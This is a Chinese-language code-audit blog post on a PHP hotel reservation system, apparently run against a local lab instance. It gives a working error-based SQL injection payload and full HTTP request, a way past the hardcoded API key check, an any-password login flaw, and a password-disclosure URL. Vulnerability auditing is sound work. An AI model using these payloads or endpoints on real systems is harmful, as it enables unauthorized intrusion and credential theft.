hotel_serer代码审计

UWI Lv4

sql注入

前言:这套代码比上一套简单,非常多离谱的漏洞逻辑

sql注入

image-20251219102600188

1
2
3
4
5
6
7
8
9
10
11
$this->subjectId 和  $city 都是直接拼接的
同时这两个参数都是我们可控的

要执行到sql查询语句前必须经过这个if语句
if($this->key == "" || $this->key !== "TheHotelReversationApplication" ){
Response::show(201,"fail","非安全的数据请求","json");
}
我们只需要把key设置成TheHotelReversationApplication 即可绕过这个if语句
同时我们再设置request=1 就可以执行到我们刚刚的第一个语句

?request=1&subjectId=' AND updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -&key=TheHotelReversationApplication

成功报错

image-20251219101906112

报错注入成功

image-20251219102407419

1
2
3
4
5
6
7
8
9
10
GET /controller/api/hotelList.php?request=1&subjectId={{urlenc(' AND updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -)}}&key=TheHotelReversationApplication HTTP/1.1
Host: hotel:8899
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=login; CNZZDATA155540=cnzz_eid%3D1261059780-1460078037-http%253A%252F%252Fhotel%253A8899%252F%26ntime%3D1460078037
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate


发现这是个前台sql注入 还有好多地方都有sql 不一个一个审计

任意登陆

发现这代码挺逗比的 验证登陆那一块有一个疏忽导致的错误造成的荒谬漏洞

image-20251219231227725

这段依据用户名和密码查询数据库中是否存在用户的做法本无可厚非 奈何若数据没有查询到的话应该为null

1
2
$allrows[0]['username'] !== null 才对
!== ""导致任意用户登陆

所以用户名和密码你随便输入都能直接登陆后台

任意用户密码获取

太离谱了 只要输入用户名就能拿到密码

image-20251219234230629

1
2

http://hotel:8899/controller/fetchpwd.php?username=admin

image-20251219234320450

还有一些xss 没啥意思 就不看了

  • Title: hotel_serer代码审计
  • Author: UWI
  • Created at : 2025-12-18 21:57:25
  • Updated at : 2025-12-19 23:46:07
  • Link: https://nbwsws.github.io/2025/12/18/php代码审计/hotel系统代码审计/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments
On this page
hotel_serer代码审计